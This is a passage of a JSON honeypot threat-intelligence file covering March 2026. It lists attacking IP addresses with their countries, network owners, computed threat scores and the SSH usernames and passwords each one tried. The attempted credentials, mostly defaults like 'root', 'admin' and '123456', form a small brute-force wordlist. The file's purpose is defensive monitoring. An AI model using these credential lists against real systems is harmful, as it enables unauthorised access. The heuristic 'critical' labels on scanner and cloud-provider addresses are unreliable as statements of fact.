        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:10:56.022000+00:00",
        "last_seen_30d": "2026-03-02T03:11:59.745000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "120.48.33.21": {
      "attack_count": 5,
      "first_seen": "2026-03-12T12:13:48.216Z",
      "last_seen": "2026-03-12T12:13:51.814Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1qaz@WSX3edc$RFV5tgb"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T12:13:48.216000+00:00",
        "last_seen_30d": "2026-03-12T12:14:55.189000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "116.193.191.209": {
      "attack_count": 4,
      "first_seen": "2026-03-11T14:04:08.388Z",
      "last_seen": "2026-03-11T14:04:16.389Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T14:04:08.388000+00:00",
        "last_seen_30d": "2026-03-11T14:05:20.157000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.185.132.252": {
      "attack_count": 4,
      "first_seen": "2026-03-27T10:08:23.039Z",
      "last_seen": "2026-03-27T10:08:26.348Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 28,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-04T01:36:41+00:00",
        "last_seen_30d": "2026-03-31T19:19:23.073000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 29,
        "Dionaea": 5,
        "Cowrie": 4,
        "Honeyaml": 1
      }
    },
    "178.140.2.122": {
      "attack_count": 4,
      "first_seen": "2026-03-10T08:02:24.165Z",
      "last_seen": "2026-03-11T13:56:45.764Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 42610,
      "as_org": "Rostelecom",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:02:24.165000+00:00",
        "last_seen_30d": "2026-03-11T14:06:51.766000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "20.65.193.35": {
      "attack_count": 4,
      "first_seen": "2026-03-25T08:38:23.378Z",
      "last_seen": "2026-03-25T08:38:33.870Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 51.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 20.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 25,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T13:09:10+00:00",
        "last_seen_30d": "2026-03-28T23:38:42.596000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "45.239.203.238": {
      "attack_count": 4,
      "first_seen": "2026-03-27T17:34:26.553Z",
      "last_seen": "2026-03-27T22:10:50.876Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Osasco",
      "asn": 268468,
      "as_org": "MXCONECT SERVICOS DE COMUNICACAO LTDA",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T17:34:26.553000+00:00",
        "last_seen_30d": "2026-03-27T22:11:55.921000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "91.230.168.200": {
      "attack_count": 4,
      "first_seen": "2026-03-12T19:40:11.378Z",
      "last_seen": "2026-03-12T19:40:22.350Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 54.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.5,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 23,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T17:06:13+00:00",
        "last_seen_30d": "2026-03-24T09:36:23.468000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 13,
        "Cowrie": 4
      }
    },
    "95.165.130.226": {
      "attack_count": 4,
      "first_seen": "2026-03-02T15:22:50.227Z",
      "last_seen": "2026-03-25T22:33:01.955Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 25513,
      "as_org": "PJSC Moscow city telephone network",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T15:22:50.227000+00:00",
        "last_seen_30d": "2026-03-25T22:43:10.557000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "114.220.75.156": {
      "attack_count": 3,
      "first_seen": "2026-03-21T06:52:50.291Z",
      "last_seen": "2026-03-21T06:54:50.315Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 16.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 20,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:40:10.200000+00:00",
        "last_seen_30d": "2026-03-21T07:05:40.504000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "137.184.238.238": {
      "attack_count": 3,
      "first_seen": "2026-03-30T20:25:38.383Z",
      "last_seen": "2026-03-30T20:25:39.018Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 77.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.3,
        "persistence": 15.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 18,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-13T12:33:26+00:00",
        "last_seen_30d": "2026-03-30T20:26:50.705000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 19,
        "Cowrie": 3,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "154.66.109.194": {
      "attack_count": 2,
      "first_seen": "2026-03-09T20:28:41.753Z",
      "last_seen": "2026-03-09T20:28:42.395Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lesotho",
      "country_code": "LS",
      "city": null,
      "asn": 37642,
      "as_org": "Comnet-Lesotho-AS",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T20:28:41.753000+00:00",
        "last_seen_30d": "2026-03-09T20:29:46.365000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "159.89.163.5": {
      "attack_count": 2,
      "first_seen": "2026-03-12T22:22:46.115Z",
      "last_seen": "2026-03-12T22:22:46.304Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T22:22:46.115000+00:00",
        "last_seen_30d": "2026-03-12T22:23:52.081000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "165.232.179.40": {
      "attack_count": 2,
      "first_seen": "2026-03-16T16:09:27.905Z",
      "last_seen": "2026-03-16T16:09:28.072Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T16:09:27.905000+00:00",
        "last_seen_30d": "2026-03-16T16:10:36.722000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "172.247.44.109": {
      "attack_count": 2,
      "first_seen": "2026-03-06T07:57:24.534Z",
      "last_seen": "2026-03-06T07:57:24.721Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 40065,
      "as_org": "CNSERVERS LLC",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 2.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 3,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T07:57:24.534000+00:00",
        "last_seen_30d": "2026-03-08T08:40:24.013000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "176.40.125.43": {
      "attack_count": 2,
      "first_seen": "2026-03-16T14:42:48.483Z",
      "last_seen": "2026-03-16T14:43:01.154Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 34984,
      "as_org": "Superonline Iletisim Hizmetleri A.S.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:42:48.483000+00:00",
        "last_seen_30d": "2026-03-16T14:44:08.896000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.171.53.82": {
      "attack_count": 2,
      "first_seen": "2026-03-09T13:48:16.395Z",
      "last_seen": "2026-03-09T13:48:16.925Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Ampang",
      "asn": 10030,
      "as_org": "Celcom Axiata Berhad",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T13:48:16.395000+00:00",
        "last_seen_30d": "2026-03-09T13:49:24.813000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "205.210.31.228": {
      "attack_count": 2,
      "first_seen": "2026-03-04T03:48:42.588Z",
      "last_seen": "2026-03-04T03:48:52.293Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 29,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T01:24:29+00:00",
        "last_seen_30d": "2026-03-30T07:14:03.619000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 35,
        "Cowrie": 2,
        "Dionaea": 2,
        "Sentrypeer": 1
      }
    },
    "205.210.31.98": {
      "attack_count": 2,
      "first_seen": "2026-03-10T20:59:53.191Z",
      "last_seen": "2026-03-10T21:00:03.012Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 29,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T07:45:55+00:00",
        "last_seen_30d": "2026-03-30T20:45:58.360000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 90,
        "Honeytrap": 32,
        "ConPot": 3,
        "Cowrie": 2
      }
    },
    "209.113.241.212": {
      "attack_count": 2,
      "first_seen": "2026-03-28T01:23:10.143Z",
      "last_seen": "2026-03-28T01:23:41.253Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Homer",
      "asn": 53610,
      "as_org": "Metro Communications Company, Inc.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T01:23:10.143000+00:00",
        "last_seen_30d": "2026-03-28T01:24:49.355000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "220.121.234.193": {
      "attack_count": 2,
      "first_seen": "2026-03-24T22:49:54.245Z",
      "last_seen": "2026-03-24T22:50:06.784Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yangju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T22:49:54.245000+00:00",
        "last_seen_30d": "2026-03-24T22:51:12.052000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.2.167": {
      "attack_count": 2,
      "first_seen": "2026-03-16T08:20:12.347Z",
      "last_seen": "2026-03-16T08:20:25.311Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T08:20:12.347000+00:00",
        "last_seen_30d": "2026-03-16T08:21:33.509000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "43.225.9.236": {
      "attack_count": 2,
      "first_seen": "2026-03-29T03:31:01.787Z",
      "last_seen": "2026-03-29T03:31:07.433Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Mong Kok",
      "asn": 9381,
      "as_org": "HKBN Enterprise Solutions HK Limited",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T03:31:01.787000+00:00",
        "last_seen_30d": "2026-03-29T03:32:13.679000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.91.40.121": {
      "attack_count": 2,
      "first_seen": "2026-03-14T12:46:29.560Z",
      "last_seen": "2026-03-14T12:46:43.853Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ajmer",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T12:46:29.560000+00:00",
        "last_seen_30d": "2026-03-14T12:47:53.746000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "66.205.236.231": {
      "attack_count": 2,
      "first_seen": "2026-03-17T15:06:40.097Z",
      "last_seen": "2026-03-17T15:07:11.381Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Pointe-Claire",
      "asn": 46320,
      "as_org": "BLU Fibre Networks inc.",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T15:06:40.097000+00:00",
        "last_seen_30d": "2026-03-17T15:09:10.823000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.231.89.152": {
      "attack_count": 2,
      "first_seen": "2026-03-21T01:19:39.598Z",
      "last_seen": "2026-03-21T01:19:39.622Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 88.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 30,
        "ports_targeted_30d": 67,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T03:24:16.339000+00:00",
        "last_seen_30d": "2026-03-31T15:50:55.158000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 146,
        "Honeytrap": 49,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "91.231.89.255": {
      "attack_count": 2,
      "first_seen": "2026-03-21T01:20:01.751Z",
      "last_seen": "2026-03-21T01:20:04.790Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 85.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 30,
        "ports_targeted_30d": 44,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T11:06:10+00:00",
        "last_seen_30d": "2026-03-31T07:32:57.678000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 43,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "185.246.130.20": {
      "attack_count": 1846,
      "first_seen": "2026-03-02T11:19:20.118Z",
      "last_seen": "2026-03-31T21:21:31.464Z",
      "sessions": 118,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "0",
        "authority",
        "ddd",
        "oracle",
        "ftp1",
        "ubuntu",
        "test1",
        "xiaoxiao",
        "anonymous",
        "pi",
        "admin1",
        "user",
        "test",
        "Administrator",
        "minima",
        "huawei",
        "monitor",
        "Admin"
      ],
      "passwords_attempted": [
        "0",
        "authority",
        "ddd",
        "admin",
        "password",
        "ftp1",
        "or4cl3",
        "root!@#$",
        "test1",
        "ubuntu1234",
        "123456",
        "",
        "1234",
        "P@ssw0rd",
        "12345678",
        "admin123",
        "123",
        "12345",
        "123456789",
        "1234567890"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42237,
      "as_org": "w1n ltd",
      "threat_score": 67.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2177,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:19:20.118000+00:00",
        "last_seen_30d": "2026-03-31T21:22:34.222000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1846,
        "Suricata": 331
      }
    },
    "137.184.228.138": {
      "attack_count": 622,
      "first_seen": "2026-03-17T00:35:19.855Z",
      "last_seen": "2026-03-28T14:30:34.051Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
